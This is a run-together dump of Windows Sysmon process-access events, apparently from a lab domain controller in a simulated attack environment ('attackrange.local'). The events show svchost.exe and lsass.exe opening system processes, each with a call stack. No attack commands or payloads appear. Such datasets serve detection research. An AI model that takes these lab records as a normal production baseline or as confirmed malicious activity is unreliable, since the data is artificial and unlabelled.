09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|c:\windows\system32\lsm.dll+23c29|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+23c18|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|c:\windows\system32\lsm.dll+1fc37|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+1fb39|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000868Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000867Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000866Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000865Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000864Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000863Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000862Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000861Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.341{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000860Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000859Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000858Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 